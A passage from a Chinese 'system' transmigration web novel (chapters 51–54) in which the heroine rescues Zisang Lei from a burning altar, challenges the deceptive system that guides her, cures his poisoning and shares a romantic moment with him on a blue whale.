子桑鸓一瞬也不瞬直愣愣地注视着她,过了好一会儿,隔着熊熊燃烧的烈火,他缓缓弯起嘴角,狭长的笑眼里溢出一股股凄凉哀婉。
“不,你错了。”
他的声音缥缈,目光空洞像是在回忆着十一年前的那个夜晚,“其实当初我看到了那场大火,我知道发生了什么,我也知道关在里面的人是谁,我明明可以将真相和盘托出但是我没有,而是选择眼睁睁看着子桑岐被大火烧死,知道为什么吗?”
他平静道,“因为我害怕。我不怕死,因为那时的我连死亡是什么都不知道,可我害怕再次被关进不见天日的黑牢里。如果没有见到过阳光,或许我会心甘情愿被困死一辈子,一无所知的等待死亡。可是我见到了太阳,对于八岁的我来说,天空真的很美,美到让我害怕再次蜷缩着阴暗潮湿的角落里生活。”
“我不甘心,我想要每日活在阳光下,我想要自由,想要去看雪、看海、看不同的风景,所以即使是子桑岐带我见到了外面的世界,我也还是选择沉默的看着他代替我去死。那个时候我心里甚至是快意的、嫉妒的。我在想,同样的一张脸,他享受了那么久的自由也该够了,让让我又怎么样呢?”
子桑鸓裂着嘴笑,笑容有些牵强,却依旧竭力去撑开嘴角,掩盖住眼底抑制不住的悲伤:“子桑琽他们说得没错,即便我披上子桑岐的皮囊,可骨子里依旧是蜷曲在阴沟里的臭虫,我只是认清了这一点,所以选择用最体面的方式离开。”
他苦涩地展了展鲜红华美的衣袖,嘲弄着轻声道,“你看我,除了这一身衣服,我什么都没有。我的一切都是子桑岐的,在这个世界上,我找不到留下的理由。”
赵玉屿望向烈火中凄清而立的子桑鸓,透过他悲凉的双眼才明白。
他怨恨子桑琽,怨恨瑶山族人,但他更恨自己。
他的自轻自贱是痛苦是自嘲,是在识文断字明人识礼体悟德善之后的绝望和挣扎。
他对子桑岐愧疚,却绝望于这份愧疚的迟来,羞愤于自己当初的嫉妒和庆幸,挣扎于回忆的噩梦和现实残酷的拉扯之中,执拗地将自己活生生撕碎殆尽。所以他自暴自弃地陷入自己亲手织下的罗网,选择堕落下去,捆绑着硕大的回忆一直下坠、下坠,坠到深渊地底,重新成为那只躲在阴沟中窥视天空的臭虫。
脸上被风雪吹得干疼,却似有滚热滑落,赵玉屿猛然撸起袖子擦了把脸,忍着发酸的鼻子哽咽道:“可是子桑大人,你的哥哥之所以选择救你,不是为了代替你去死,而是希望你能代替他活下去啊。死亡很简单,活下去的勇气却难得珍贵。天道要你八岁而亡,子桑岐代替了你,就是为了改变命运,改变你们两个人都痛恨的预言。天道说神子二十而亡,我知道你们想反抗,可死了就是死了,十九岁的死亡和二十岁的死亡没有区别!既然你敢直面死亡,为什么不能有向死而生的勇气?!如果你死了才是让子桑岐的性命白费,所以你要活下去!活下去狠狠打天道的脸,告诉瑶山族人、告诉天道他们是错的!只要你活着,子桑岐就活着!”
赵玉屿深吸一口气,望向子桑目光坚定,似有星光熠熠夺目:“我知道这座铁牢困不住你,子桑鸓,跟我一起走吧,离开这里,离开这个只有风雪的鬼地方!你不是什么都没有,你还有我,还有小白猴大它们,我说过的,至少我会一直陪在你身边直到最后,但你的结局不该是现在。”
小白似乎听懂了她的话,引颈高唳,声声哀戚,焦急踱步的扑腾着翅膀想要将大火扑灭,却引得火焰愈发高烈嚣张。猴大抓耳挠腮地想要顺着铁链爬上牢笼顶部救他出来,忍着铁笼灼人的滚烫竭力将瘦长的手臂伸入笼中,却只能抓住一片虚无。
隐隐约约的,似乎有悠扬的笛声自天外缥缈而来,两人皆怔在原地,听着这熟悉的,除了子桑这世上未曾有人习得的曲调。
与此同时,彩旗摇晃,大地颤动,雪原似是有潮浪声从昏白交接的天际嗡嗡传来。
风雪中夹杂着野兽的咆哮声,天空中涌起雪雾,悬崖之下,一道道矫健的身姿顺着山道破雪飞扑而来冲上山巅,嘶吼着抖落掉身上因狂奔而落的厚雪。
赵玉屿的眼眸中映现出雪雾缭绕的冰原上赫然出现的几十只动物。
白
熊、雪豹、牦牛、藏獒、雪猪、羚羊,几乎所有在雪域能看到的动物都出现在了这里,它们敦厚的皮毛凌乱翻飞在风雪中,獠牙尽现,如有神引一般跃过赵玉屿,健硕的肌肉曲线在空中划过一道道完美的弧度,落在祭坛边秩序井然的或抓或叼或缠绕起铁链,在低低嘶吼中齐齐向后拉扯。
他们的吼声震心,同颤动的大地连在一起,在尖锐刺耳的磨砺声中铁链摇摇摆摆,沉重的铁栏吱吱嘎嘎的摩擦、挪晃,最终随着哗浪浪一声声接连不断的巨响,铁链被拉扯开,牢笼的顶端破开一角,铁栏在众兽合力的巨大惯性下被铁链拉扯甩出,飞落山崖。
不一会儿,深不见底的悬崖下传来一声沉重碎裂的闷响。
赵玉屿欣喜若狂地喊道:“你看,我就说他从来没有怪过你!”
她飞奔向小白,踩着羽翼爬上它的背脊,拍了拍它柔软的脖颈吹响口哨。小白高昂长唳,巨大的羽翼骤然鼓动飓风,卷起漫天的飞雪一跃而起飞入昏白的天空,而后扭身猛然俯冲而下,朝被烈火层层包围的祭坛扑去。
赵玉屿抱着小白的脖颈,拼命俯下身子,朝子桑伸出手。
“子桑大人,抓住我!”
子桑怔怔地望着濛濛飞雪中凌乱翩飞那一抹红色,恍惚间觉得像是坠落的太阳朝他飞来。
他懵懵懂懂觉得有些刺眼,抬起手想要遮住光亮,手腕却被猛然抓住。
顷刻间,他感到身体骤然一轻,仿若灵魂飘然而去,栽落在柔软的梦里。
“呼——”
赵玉屿整个人连同子桑仰头摔倒在小白柔软的翎羽里。方才生死一线之际,她一瞬间爆发出惊人的力气,拼了命的将子桑拉扯上来。如今卸了劲,整个人犹如一滩烂泥摊倒不起。
方才一同跳上来的猴大叽叽喳喳的拉扯她的手臂,想要将她拽起,伸出爪子指向地面。
赵玉屿不知它在说什么,强撑起身子趴在鹤背边缘朝下望,骤然睁大了眼眸。
冰原之上,动物们已经顺着来时的山道缓缓而下,自天心向下望去,烈烈燃烧的祭坛像是一颗夺目的黄宝石镶嵌在皓衣之上。
祭坛中,八岁的子桑岐朝他们笑着挥了挥手,火光之中,他的身体逐渐变得透明,他却不甚在意,而是重新执起玉笛,温柔平和的眼眸望向雪域高原上终年无尽的风雪。
欢愉悠扬的曲调充盈在风中,音律渐渐升高、升高,飘然穿过层层云雾,穿过黑牢中暗无天日的孤寂,穿过八岁那年熊熊燃烧的烈火和十一年的煎熬与绝望,将他们送向旷无边际的昭昭未来。
赵玉屿垂下眼眸,静静地望着祭坛中的那道身影,很久很久,直到随着笛声彻底消失不见。她张了张口,轻声道。
“再见。”
耳边传来久未出现的电子音。
【滴——恭喜宿主完成隐藏任务,获得稀有道具“神子的魂魄”,回心丹合成进度达2/3,合成回心丹可救助攻略对象,还请宿主再接再厉。】
第52章
听到系统的声音,赵玉屿愣住。
神明的魂魄,合成道具?
子桑岐的灵魂是拯救子桑鸓的道具?
她愕然想起当初获得的第一个合成道具“无尘枝”,是一个白玉色的婴儿状的灵芝,白玉色里透出丝丝缕缕的红意,像是血脉。
而第二个合成道具,是子桑岐的灵魂
脑海中再次及时地传出系统的声音。
【没错哦,宿主果然很聪明。第一个合成道具是“体”、第二个合成道具是“魂”,每个世界的天道是操纵这个世界运行的规则,天道不可违,想要拯救子桑鸓,就需要制造出一个新的神子伪装成子桑鸓骗过天道。】
听到这番解释,赵玉屿一怔,脑海中猛然惊觉:所以当初子桑岐能够回到八岁,也是你们的手笔?
【是的呢,不过系统并不能决定子桑岐的死亡哦,只是给他创造了改变命运的机会,不论死的是谁,系统都会将他的灵魂暂时囚禁在冰原之中。为了将子桑岐的魂魄带回十一年前,系统费了好大的力气,差点被天道发现,好危险的呢~】
这番话让赵玉屿原本紊乱的头脑逐渐冷静下来,她不明白系统费尽心机筹划多年做这一切的目的是什么,选择单刀直入地问道:你们费这么大的力气去博一个机会,为的是什么?
【为了让世界充满爱~】
赵玉屿:滚!
她冷笑一声:别想糊弄我,你们要是真有这么无私好心,就不会眼睁睁看着王厨去死。
她隐隐感觉到,这一切的背后并没有那么简单。
系统所做的一切,看似是为了让她改变结局,挽救何附子和子桑的命运,可是按照常理来说,明明何附子才是女主,她的主线任务分明是改变男女主的结局,可是自从来到这个世界上之后,系统却只提及过一次主线任务,更多的是在一直诱导着她去攻略子桑。
比起子桑,男女主才更像是可有可无的npc。
系统想让她攻略子桑,但是从一开始却不将真相合盘告诉她,又在十一年前费尽心机的埋下伏笔,囚禁住子桑岐的灵魂等待着他们的来临。
这一切看起来,看起来更像是系统被天道桎梏住,所以只能借她的手去改变一切。
赵玉屿隐约觉得自己触及到了什么,却又隔着一层薄纱,只能笼统的划过表面,够碰不到核心。
【真相重要吗?】
脑海中缓缓浮现出五个字,像是缥缈又捉摸不透的海市蜃楼,让赵玉屿心中发凉。
她听到系统继续说道。
【您的心愿是改变原本的故事,让神子子桑和女主何附子拥有完美结局,系统和您的目的是一致的,所以才会在万千人海中选择了您作为宿主。宿主请放心,只要完成了任务,这个世界的结局就是美满的,您也可以回家了。作为回报,系统还会给您一大笔丰厚的酬金,足够您和您的家人在现代社会一辈子衣食无忧。】
回报?
赵玉屿嗤笑道:你这是开始利诱了吗?
不同于平日里的欢脱,如今的电子音冷静而理智,回归到了一串冰冷代码的本质:【只是合作而已,到目前为止宿主您的表现都非常优秀,所以系统才会为您增加额外的奖励,这一切对您来说没有任何坏处,只要您顺利完成任务,对于子桑和何附子来说都会是大团圆的美满结局,这不正是您想要的吗?】
赵玉屿沉默了。
系统说得没错,她来到这里不就是为了改变原本的遗憾,让大家都拥有幸福的结局吗。
她不由再次垂眸望向早已看不见的风雪之巅,还有那道烈火中已经化为虚无的身影。
可是……这一切又当真是子桑想要的吗?
见一时也问不出什么,赵玉屿叹了口气,摇了摇头不再去想其他,转而问道:那第三个合成道具是什么?
【第三个合成道具属于一级稀有道具,开启任务需要完成前置条件——攻略对象的好感度达百分之百。鉴于当前前置任务尚未完成,目前还不能告知宿主哦,还请宿主再接再厉~】
比子桑岐的灵魂还要稀有?
赵玉屿不得解,却也无可奈何。
系统神神秘秘总是在隐藏,经历了这么多事情,她对系统没有什么期待和信任可言,但事已至此,只能继续往前走。
走一步看一步吧,总好过原地踏步。
赵玉屿望向昏昏睡去的子桑鸓,至少,至少她能改变些什么,对吧?
关掉了系统后,赵玉屿裹紧狐围裘小心翼翼挪到子桑的身边,轻唤道:“子桑大人,我们现在去哪啊?你你想回帝都吗?”
如果子桑一开始是抱了必死的决心来到瑶山,那他就没有回到帝都的打算。可现如今他活了下来,赵玉屿也猜不透现在的他会去哪里,想要做什么。
她一个小侍女左右不了子桑的决定,但是主线任务还没有完成,如果子桑没有回到帝都,那么不久后宋承嵘就会顺理成章的继任皇位,到时候奉仙宫的血洗避不可免,何附子和小侯爷的命运也是未知数。
还有王厨和整船人的性命,这笔帐她必须要跟宋承嵘算清楚。
子桑没有回答,赵玉屿以为他还沉浸在方才的突变中不可自拔,犹豫片刻,轻轻推了推他
的胳膊,却发现他一动不动。
赵玉屿觉得有些不对劲,拨正他的脸仔细一瞧,愕然发现子桑整个人面色苍白如纸,唇色乌紫,俨然是中毒之相。
“子桑大人,子桑大人!”
子桑的身体冷似冰魄,空中太冷氧气又少,对他现如今的情况而言等于雪上加霜,赵玉屿连忙抱住他的身子给他取暖,吹了声口哨唤小白降落。
周遭一片茫茫雪地,他们尚未曾离开雪域。
赵玉屿背着子桑艰难顺着小白翅膀滑下,昏死过去的子桑于她而言太重,她脚刚踩地就一个不稳摔倒在地,在积雪中打了几个滚。
好在雪厚没有受伤,她连忙爬起身子去察看子桑的伤势。
子桑的身上和脸上沾满了雪花,本就冰凉的身体更是冷得刺骨,像是一块常年积雪覆盖的寒冰。
背是背不起来了,赵玉屿只好招呼小白一起,拖着他的胳膊和腿寻找能躲避风雪的地方。
天色渐晚,昏白云层中朦朦胧胧的日头一步一步落下山头,暧昧的余晖将山头原本就雪白的一块蚀去,留下一小块融融霞光。
他们不知走了多久,冷霜般的温度让赵玉屿手脚疼得发麻,只能机械地拽着子桑的胳膊朝前走,直到昏蓝的夜晚降临之际,前去探路的猴大双手并脚飞奔回来,拽着赵玉屿的衣摆指了指前方。
赵玉屿双眼微亮,睫毛轻颤间抖落一层霜雪,有了方向就有了动力,原本麻木的手脚也重新有了动力,铆足了劲一鼓作气将子桑拖入山洞之中,整个人靠在粗糙的山壁旁直喘气。
洞外,夜幕彻底降临。风声呼啸而过,雪白的山地反射着冷蓝的月光,浸入心底的凉。
好在小白蜷缩在洞口处,巨大的身子阻隔了寒风的侵袭。
这个山洞不算大,一眼望得到底,角落里有烧了一半的枯枝和动物骸骨,许是原本上山猎人避寒的地方。
赵玉屿将枯枝堆在一块,从怀中掏出火折子吹了吹尝试点燃。
好在枯枝没有受潮,缓缓燃烧起星红的火光。
见点上了火,赵玉屿搓了搓手,取下身上的狐裘披在子桑身上。
系统忍不住再次出现。
【宿主您好,根据系统监测,攻略对象存在中毒迹象,如不及时救治可能死亡。】
赵玉屿不咸不淡的“哦”了一声,却不见焦急,也没有丝毫的动作。
【警告,如若攻略对象死亡,宿主任务将失败,宿主将会被囚禁无方之地。】
赵玉屿眼皮都不抬一下,依旧不紧不慢的“哦”了一声。
过了片刻,见赵玉屿居然当真没有丝毫着急的模样,甚至打起了哈欠想要睡觉,系统忍不住提醒。
【攻略对象所中之毒乃是瑶山特制的寒髓毒,万物相生相克,只有找到雪域高原中特有的玉魄花才能解毒。】
它都已经主动提示到这个份上了,赵玉屿却摇了摇头,抱着胳膊哈气道:“太冷了,我不去。”
【……】
系统以为她在开玩笑,语气有些严肃再次提醒道:【宿主请注意,攻略对象各项生命体征正在下降,如果攻略对象死亡,这个世界将会崩塌,任务失败,宿主将会被囚禁无方之地。】
赵玉屿淡淡道:“失败了那就重启呗。反正你们不是可以再找其他的宿主进行攻略吗?”
【……】
系统沉默良久,赵玉屿调侃道:“怎么,不行吗?”
她朝后靠了靠,舒服地靠在小白的身体上,望着一旁昏死过去的子桑缓缓道:“我记得你之前说过,既然已经绑定了我,那么就无法对这个世界上的其他人作出干扰。可是你们不仅能将子桑岐的灵魂送回到十几年前,还能监测子桑鸓的身体体征,以及子桑鸓对我的好感度,说明你之前所说的不过是在框我的。”
见系统不语,赵玉屿从怀中取出还魂丹,昏黄的火光摇摇照耀在她的脸上,光与影勾勒出她五官的轮廓,将她的目光映衬得有些朦胧而奇异。
她望着手指间黑色的药丸,声音平静:“我不会去找解药的,我这里就有一颗现成的解药。你之前说系统修复了BUG,这颗解药只能救我一个人,那么现在我想知道,它能不能救子桑鸓?”
第53章
如果能救,说明之前系统说的话都是骗局。
脑海中传来系统无奈又冰冷的电子音:【宿主一定要跟系统作对吗?】
赵玉屿耸了耸肩:“怎么能是作对呢?我只是不想那么累,有现成的解药不用还要冰天雪地满山的跑去找解药。如果这颗丹药救不了子桑,那大家就一起挂掉好了,我不过是去小黑屋里待着,这个结局我承受得住。”
她笑了笑,果断将丹药塞入子桑口中。
子桑喉结微动,咽下了丹药。
赵玉屿静静观察着他,过了好一会儿,子桑似乎有些难受,他的眉头紧皱,眼珠滚动,呼吸起伏渐大,浑身渗出一层层的热汗,将眼皮润出一层细密的光泽。
瞧着他渐渐淡去的乌紫唇色,赵玉屿松了口气,眼神微黯。
果然,系统之前说的都是骗她的。
所谓的修复BUG,不过是为了防止她将奖励物品随意交给寻常人使用,一切奖励的使用背后都是系统在操控权限。
在系统的程序设计中,凡是命运权重低的普通人是没有享受奖励物品的资格和权力。
一切不过是向利益最大化看齐而已,同宋承嵘没有区别。
赵玉屿失望至极:“你还有什么话要说。”
脑海中再次浮现出系统冰冷的电子音:【宿主你很聪明,但有时候聪明的人要承受的会更多。】
“那也比被你耍得团团转要好。”
系统提醒:【宿主,但我们的目标始终是一致的。】
赵玉屿目光冷淡却并不拒绝:“我知道,既然我们各取所需,依旧是合作关系。你给我提供我需要的东西,我也会竭尽全力帮助何附子和子桑,但是不要再给我设置任何可笑的限制。既然你们要选择宿主来到这个世界完成任务,说明作为宿主一定有你们做不了而我却能做到的事情。认清自己的位置,至少在这个世界,是你辅助我,而不是操控我。如果做不到,那就把我换了。”
系统沉默了许久,似乎在消化赵玉屿的话,最终他应允道:【系统已收到宿主的权限申请,鉴于宿主之前优异的表现,系统判定您任务成功的几率极高,为您开通特殊权限,系统会辅助您完成任务,合作愉快。】
“还有,如果我没有召唤你,请不要再随意出现。”
【好的,宿主晚安。】
系统许是感受到了赵玉屿的烦闷,应允后便干脆利落的消失不见。
确认系统离开之后,赵玉屿闭上眼睛长叹一口气,卸下方才的冷漠和戒备,双手抱着膝盖心中酸楚而遗憾。
如果她能早点发现系统的不对劲,而不是一味的相信系统,当初说不定就能救下王厨。
说到底,在此之前她依旧把这里的一切当成一场游戏。
游戏里总是有辅助,所以她自信得将系统当成了自己的外挂,认为系统一定是站在她这边无条件的支持自己,正是这份过度的自信让她陷入了迷失,造成了遗憾的结局。
但现在,至少在未弄清楚系统的目的究竟是什
么之前,她不能再一味的相信系统了。
“咳……咳咳……”
子桑发出几声急喘,赵玉屿听到声音以为他醒了,连忙望向他轻问道:“子桑大人,你感觉怎么样了?哪里不舒服吗?”
然而子桑并没有醒来,他依旧双眼紧闭,眉头蹙起,口中却喃喃自语,似乎是陷入了半梦半醒的梦魇之中。
赵玉屿听不清他在说什么,低头凑近他的双唇,耳畔传来急促又焦虑的呼吸声。
“快逃……哥哥……火……快逃……”
他断断续续地轻唤着,额头的冷汗逐渐密密麻麻凝聚成珠,顺着粘湿的发丝滑落,却无法从无端梦魇中挣扎而出,像是被架在油锅上翻来覆去,身心一遍又一遍地被烈火炙烤,直到灵魂干枯焦裂。
赵玉屿攥紧衣袖为他擦去冷汗,像是刮着未熟的酱果,鼻尖酸涩,心头胀痛,想起黑牢中即便谈及过往的不堪和悲戚却依旧笑容温润的子桑岐,一时间千头万绪涌上心头,她擦了擦眼角滚热的泪珠,只能一遍遍说道:“子桑大人,这不是你的错。”
子桑呼吸微滞,他似乎在无尽挣扎中听到了赵玉屿的话,濛濛地半睁双眼,却目光涣散,空洞洞望着虚无之处,眼角滑落一滴热泪,喉咙滑动间迷茫地不知在向何人哀戚哽咽。
“如果不是我的错……那又是谁的错呢……”
是啊,那又是谁的错呢?
赵玉屿不知如何回答他,或许作出预言的瑶山先祖是错的,为了一个预言选择放弃亲子的瑶山族长是错的,对一个婴儿侧目而观的瑶山族人是错的,为了求生抛弃哥哥的子桑鸓是错的,为了弟弟情愿选择自戕却不敢同天道正面相抗的子桑岐也是错的。
或许从一开始,一切就都是错的。
可这世上又有谁能保证自己从未做过后悔之事,谁又能保证自己的选择永远是无私无畏的。
赵玉屿不能苟同瑶山族人的做法,却理解他们荒谬的起源。信仰可以是救世之道,也可以是一把杀人的利器。对于忠诚的信徒来说,信仰是可以为之放弃一切,乃至于牺牲自己和至亲之人的毒药。
被一个荒诞的预言摆布一生、失去自我的瑶山族人同样可悲可怜。
但不论如何,斯人已去,活下来的人不能回头,人生的路只能一直往前走。
赵玉屿紧紧握住子桑清瘦嶙峋的手,用掌心的温度告诉他自己一直都在。
*
黑暗、潮湿、带着凝结鲜血的咸腥味。
子桑又回到了那片暗无天日的黑牢之中。
他蜷缩着身体在寒冷的冬夜里瑟瑟发抖,脑海中回想着的却是白日里见到的一切。
他看到了黑暗之外的世界。
那里的天空是湛蓝色的,即便黑沉了却依旧有微亮的星星和皎洁柔白的月光,那里的雪是冰凉而洁白的,太阳刺眼夺目的,食物和水却是温热的。
似乎有尖锐的嗖响传来,他知道,那是大团大团的烟花,会在黑暗的天空上绽放开一朵又一朵绚烂的五彩斑斓的花。
世界原来是彩色的。
可是……可是那些都不属于他。
他只能蜷缩在这个漆黑的角落里,孤独的等待死亡。
不,如果没有见过太阳,他或许可以一辈子浑浑噩噩呆在这里,可是现在,可是现在他不甘心,他不甘心……
他要离开这里,他要吃好吃的东西喝热的水,他要穿干净的柔软的衣服,他要每天都能看到太阳和天空,飞鸟和白云。
他要的……他要的多吗?
子桑茫然无措地抱紧膝盖,可心中的欲望却像藤蔓般疯长,将他紧紧缠绕住无法呼吸。
欲望一旦产生便会蚀骨销魂,最终与灵魂镶嵌交融,再不能分开。
震天动地的轰鸣声再次传来,子桑看着炽热白烈的火光轰轰掀起地平线,再次于万籁俱静中向他涌来。
他知道,在火球的尽头是那张熟悉又陌生的脸。
这是他永远逃脱不了的梦魇,是他要用一生偿还的罪孽。
子桑垂下头,将脸死死埋在胳膊里,颤抖着身子等待同火光融为一体。
过了良久,撕心裂肺的灼热炙痛并未传来,时间仿佛停滞不前,故意玩弄着他,让他多了一丝苟延残喘的机会。
“子桑鸓。”
一道轻柔的声音传来,温柔得像是飘云絮柳,春风拂花。
子桑身子一颤,愕然听到有人在唤他的名字,他缓缓抬起头,怔怔地望向眼前笑容灿若桃花的少女。
她弯下腰,将手中的糖人塞到他口中。
甜的,很甜很甜,像是心尖裹上了一层蜜糖般的甜。
似乎知道他的想法,少女咧嘴一笑,骄傲道:“甜吧~”
子桑怯生生地不敢说话,少女却不由分说牵起他满是肮脏污泥的手,用一种温柔又自信的语调灿烂笑道:“我知道你以前很辛苦,没关系,跟我一起走吧,离开这里,去哪里都好,我会一直陪着你,一直一直陪着你,直到最后。”
而后,于漫天白炽中,她轻轻地,在他的额头落下一吻。
子桑眼皮微动,缓缓睁开双眼。
就见头顶上方三张凑得极近,齐齐注视着他的奇形怪状的脸。
子桑:“……”
见他醒了,小白灰绿色的长喙已经啄到他脸上,柔软修长的脖子亲昵地甩来甩去,蹭着他的脑袋。
猴大高举起双臂摇来摇去,洞穴里上蹿下跳得怪叫。
赵玉屿摸了摸他的额头,见他体温恢复了正常,顿时欣喜道:“子桑大人,你好些了吗?”
子桑推开小白圆润的脑袋,撑起身子靠在岩壁上,脸色还有些苍白,看着身上滑落的狐裘嗓子有些干哑。
“这是哪?”
赵玉屿回道:“咱们还在瑶山呢,不过这地方偏僻,那些瑶山族人应该找不到。你昨日中了毒,我担心你的身体就临时找了个洞穴休息,好在我机灵,当初离开奉仙宫时担心会遇到意外,提前准备了些解毒丹药啊金疮药什么的,没想到真派上用场了。”
她这话说得倒也查不出错来,毕竟金疮药什么的她的确有备上一些,本来是因为想着若是遇到刺杀或许能用到。
至于那些瑶山族人,赵玉屿倒不担心他们会追上来。
当初在逃走时,她就洒下了之前的任务奖励【星云雾】,让瑶山族人产生幻象,以为子桑已经死在了祭坛。
如今的子桑,不论在大雍,还是在瑶山族人的眼中都是已死之人。
至少他短暂的自由了。
不过还有一件事她依旧困惑:“对了子桑大人,你怎么会中毒呢?”
第54章
赵玉屿很是奇怪,子桑鸓究竟是什么时候中的毒。
子桑伸了个懒腰,疏懒道:“昨日沐浴时。”
担心他反抗,畏惧他的能力,所以在浴桶中提前给他下了毒药,通过沐浴时的热水浸入全身血脉,虽然这种方法下的毒发作缓慢,但一旦运转内力毒药便会在血脉中加速流动,最终攻心而亡。
他在沐浴时便嗅到了那股奇异的香味,但他并不在意。本就抱着必死决心而来,也懒得揭穿他们拙劣的伎俩。
不过子桑的内力深厚,短时间内压制住那些毒药不成问题,然而毒性反噬攻心,他原本也以为自己必死无疑,没想到居然活了下来。
赵玉屿恍然想起昨日子桑沐浴时的热水,的确又一股从未闻过的奇香,她原本以为是瑶山特有的香料味,没想到居然是下了毒。
她不禁啧舌道:“原来是这样,没想到这些瑶山族人以仙人后裔自居,居然还用这些下三滥的手法。”
子桑扯了扯嘴角,仙人后裔?不过是给自己脸上贴金罢了。
他不再去想那些厌恶的面容,转而朝赵玉屿问道:“你昨日说你见到了……子桑岐?”
赵玉屿并不隐瞒,点头回答:“我原本在房间里等你,是子桑岐主动找到了我,引我去了黑牢将一切真相尽数告知。子桑岐说,其实他
本活过一世,在那一世他活得很辛苦,一直被天道所束缚不得善终,也因为无心之举害你葬身火海而愧疚终身。
所以当他的魂魄重回八岁那年时,他选择代替你的命运坦然赴死,或许这是改变你们被天道束缚的唯一方法。不论结局如何,子桑岐希望至少你这一生不要像他一样留有遗憾。”
子桑听着她的娓娓道来面色如常不见变化,只眼尾一点红润泄露了心绪。
“原来如此。”他缓缓道。
原来子桑岐的坦然赴死,不仅仅是为了他,也是为了自己。
赵玉屿见他没有丝毫的惊讶怀疑,反倒让她有些奇怪:“子桑大人,你都不怀疑是我编出了鬼神之说骗你的吗?”
毕竟转世重生,魂魄不散这种事情听着就听玄乎的啊。
躺了一夜身子骨都有些僵硬,子桑站起身松动松动筋骨懒懒道:“有什么可怀疑的,混沌分阴阳,阴阳化五行,五行生万物,万物天地中【1】,这大千世界无奇不有,于他人而言,我本就是鬼神,又何必疑虑奇观异类之说。”
此话有理。
赵玉屿点点头,感慨子桑的接受程度还蛮高,不愧是当了这么多年的神棍。
洞外风雪已晴,子桑走出山洞,抬头望着朗朗晴空良久。碧蓝天空中白云悠悠飘过,露出初升的朝阳。沉沉黑夜的重压并未抹杀太阳的光芒,风雪过后日头也未见残酷暴烈,温润得让人眯起了眼,覆去了连绵雪山的孤寂寒冷。
“走吧。”子桑道。
赵玉屿不知他意向何处:“去哪里啊?”
“哪里都行。”
子桑在轻风暖阳中慢回眼眸望向她,疏懒笑道:“不是你说去哪里都行吗?”
他的眼中死寂尽散,不见荒凉,唯晨光浮显,映照出一个小小的她,赵玉屿灿然一笑,点头应下。
“嗯!”
两人最终决定回大雍,但并未乘小白离开,而是选择了海路。一来从瑶山前往中原路途遥远,沿线经过诸多国家,小白体型庞大,难免引起不必要的麻烦。二来,子桑不想那么快回大雍,他想看看沿途风景,去尝试不同的事物。
赵玉屿对他的想法双手赞同!
子桑自小缺少的就是与人交往。最初被关在地牢八年,人都关傻了,而后又因为瑶山突变将自己封闭在惨痛的回忆中无法自拔,自此不愿与人交心,所以才会养成那般刁钻骄纵的性子。
如果能让他多接触接触民风淳朴的百姓们,多逛逛不同国家的风土人情,那对他的心身都有好处。
旅游,是散心修养的最好方法!
赵玉屿想着,大雍那边一时半伙倒也不急,宋承嵘以为子桑已死,必定志得意满,宋承嵘一直想要成为名流万世,如今他的太子之位稳如泰山,不必铤而走险篡位夺权,所以只要德仁帝在位,他便不敢妄动,奉仙宫众人暂时是安全的。
两人乘着小白飞越林茂到了海边,子桑盘腿坐在鹤背上,挑起赵玉屿腰间的玉骨笛,指尖灵活翻飞间灵动的笛声向大海深处悠悠飘洒,不一会儿,海天一线之际传来阵阵似婴儿啼叫般的幽幽深鸣。
赵玉屿低头望去,一道深蓝色的庞大身影像是一汪移动的幽幽深潭,潜藏在海面下鬼魅般飘飞而来,在即将靠近他们时,深潭破开荡荡水波,宛若拔地而起的孤岛伴着长鸣在碧蓝的海面上露出蓝灰色的背脊。
这是一只巍巍巨轮般的蓝鲸。
它翘起巨大的尾鳍在水中拍打,水花欢快飞溅,落了赵玉屿一身。
子桑率先跳下仙鹤,稳稳地落在蓝鲸宽阔的平背上,回身朝赵玉屿伸出手。
赵玉屿也大着胆子往下跳,然而跳落的一瞬间,小白忽然猛挥翅膀陡然拔高,赵玉屿重心不稳身子一歪,惊呼一声朝下重重跌去,眼看就要摔倒在地,她心中哀嚎倒霉,下一刻却感到整个人被一双结实有力的胳膊紧紧拴住腰肢,扑落在一个温热的怀抱中。
突如其来的冲击力让子桑脚下一滑,两人双双歪倒在地。
见自己将子桑压在身下,赵玉屿连忙爬起身关切道:“子桑大人,你没事吧?”
方才子桑将她整个人护在怀里,自己结结实实垫在她身下也不知道受没受伤。
子桑抚着额头,轻嗯一声闷声闷气道:“头有些晕。”
“头晕,哪里啊?”赵玉屿探着脑袋上下左右查看了个遍,连忙道,“许是磕到脑袋了,我给你揉揉啊。”
子桑顺势枕在她大腿上,舒舒服服躺下,闭上眼睛感受着头顶轻柔的按抚。海风拂面而过的咸腥味被少女身上的体香掩去,脑海中不由回忆起方才温香软玉入满怀时异样的心悸。
子桑唇角略弯,指尖勾着赵玉屿胸前垂下的发丝,像是想引起她注意般一勾一勾地微微拉扯,放在鼻尖轻嗅。
“玉儿。”
“嗯?”
赵玉屿低头望向他轻问道:“怎么了,还疼吗?”
子桑低低应了一声,赵玉屿顿时满怀歉意:“那我再给你揉揉。”
过了一会儿,子桑又轻唤一声:“玉儿。”
赵玉屿:“?”
她眨了眨眼用目光探寻,子桑却没有回答,唇角弯起的弧度却愈加得大,又唤了一声“玉儿”。
赵玉屿:“”
合着这小祖宗叫着玩呢。
赵玉屿见他难得心情好,便也随了他去。
子桑漫声地叫着,赵玉屿便附和地应着,只是那一声又一声,疏懒轻飘的音调愈加缱绻缠绵,像是一个又一个细密绵延的吻,轻轻点在她的额头、脸颊、鼻尖、双唇,让赵玉屿目光飘忽间逐渐红了脸。
她咬了咬齿贝,着实忍不住开口问道:“子桑大人,你有什么事情可以直接跟我说的。”
这样叫得如猫儿一般挠心抓耳,着实让人受不住啊。
子桑把玩着她的头发,语气轻飘:“我说什么你都答应吗?”
赵玉屿随意道:“只要不是杀人放火奸淫掳掠,也没什么不能答应的。”
子桑听到这话反倒歪了歪头望向她:“我要你做那些干什么。”
杀人放火这些事情,他来做就好了。奸淫掳掠,他才懒得做。
赵玉屿点头:“那你想让我做什么啊?”
子桑眼帘轻垂,片刻后抬起道:“我倒不需要你做什么,只是你得还我一样东西。”
“还你东西?”
赵玉屿听到这话更是纳闷,她又不欠子桑什么。
“什么东唔”
在她还未反应过来之时,子桑忽然一手撑在地上坐起身子,仰头堵上了她未曾说出的话。
略显苍白的薄唇贴在她的唇上,冰凉、细腻而柔软,掺杂着清晨海风的微凉,像是初春融化的雪,一瞬间侵袭她的五感,周遭皆淡,唯余下唇齿间的交融。
猝不及防的亲昵让赵玉屿愕然怔在原地,忍不住屏住呼吸,身子还保持着原本的动作僵硬不动,面颊却滚烫如霞云。
